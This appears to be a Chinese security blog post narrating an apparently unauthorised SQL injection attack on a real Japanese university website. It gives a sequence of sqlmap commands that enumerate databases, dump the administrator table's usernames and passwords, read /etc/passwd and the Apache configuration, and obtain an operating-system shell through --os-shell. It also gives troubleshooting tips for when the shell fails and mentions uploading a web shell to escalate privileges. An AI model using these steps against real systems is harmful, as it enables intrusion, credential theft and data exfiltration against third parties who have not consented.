声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。所有话题标签:#Web安全 #漏洞复现 #工具使用 #权限提升#权限维持 #防护绕过 #内网安全 #实战案例#其他笔记 #资源分享 #MSF |
|---|
0x02 实战测试过程 网站首页随便打开一个链接,手工测试下是否存在注入漏洞?'单引号直接报错了,但是手工测试and 1=1正常,and 1=2也正常,至于为什么返回结果都是正常的我也没找到原因,因个人技术问题手工注入玩不下去了,直接用sqlmap测试一下,根据返回结果可以确定是可以注入的。 (1) 列出所有数据库名 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --dbs (2) 列出当前数据库名 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --current-db (3) 列出当前数据库用户 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --current-user (4) 列出icfcs数据库的表名 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" --tables (5) 列出icfcs数据库admin表中的列名 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --columns (6) 列出icfcs数据库admin表中的admin_id,admin_pw字段内容 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --C "admin_id,admin_pw" --dump 通过这个注入漏洞已经成功跑出了网站管理员的帐号、密码,后台目录就是admin,进入后台发现只有3个栏目,只找到一个上传点和fckeditor编辑器,但是都做了限制,我知道的思路基本都试过了,无法利用这个网站后台直接拿到Webshell。 抽根烟休息了会,经过一段时间的测试发现admin-icfcs@localhost这个数据库用户既然具备root用户所拥有的权限,也就是DBA,直接使用sqlmap工具以跨库查询和读取文件两种方式来验证一下。 (1) 跨库查询 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 -D "eccube" --tables (2) 读取文件 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --file-read "/etc/passwd" 既然我们知道了admin-icfcs@localhost具备root用户的权限,那么我们就可以直接利用这个注入点来导出Webshell了,但是需要满足以下一些必备条件。
(1) sqlmap --file-read获取网站绝对路径 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --file-read "/etc/httpd/conf/httpd.conf" 使用sqlmap工具中的--file-read参数读取Apache默认配置文件:/etc/httpd/conf/httpd.conf,读取后的文件会保存在以下路径,通过这个配置文件可以找到网站的绝对路径。 /pentest/database/sqlmap/output/icfcs.******-u.ac.jp/files/etc/httpd/conf/httpd.conf (2) sqlmap --os-shell获取网站Webshell权限 sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --os-shell 所噶,在这里基本上可以说是已经拿下了,来看一下使用sqlmap --os-shell参数上传的一个临时上传文件,文件名都是以随机命名生成,接着我们就可以自己再去传一个一句话或大马上去进行提权,由于基佬说他们已经拿到了所需要的数据,所以我也就没有再继续提权了。 0x03 os-shell常见问题 确定当前注入点为root或sa,也得到了目标网站的绝对路径,这时可以尝试使用sqlmap中的--os-shell参数直接写入Webshell,但这并不表示一定能成功的! 当写不进去Webshell时先检查root或sa是否被降权?如果确定没有,那就再去检查一下绝对路径是否正确,或者当前用户是否有这个路径的可写权限?--os-shell失败的一些常见问题如下。
参考链接:https://forum.90sec.org/forum.php?mod=viewthread&tid=9218 真正要想找到问题出在哪?个人建议还是使用sqlmap中的--proxy参数结合Burpsuite抓取--os-shell的数据包去看一下,曾经遇到过的WAF、过滤和盘符等问题都是通过这种方式找到原因的! sqlmap.py -u "http://icfcs.******-u.ac.jp/news/detail.php?news_id=66" --os-shell --proxy=http://127.0.0.1:8080 只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,“1120”领取安全参考等安全杂志PDF电子版,“1208”领取一份常用高效爆破字典,还在等什么?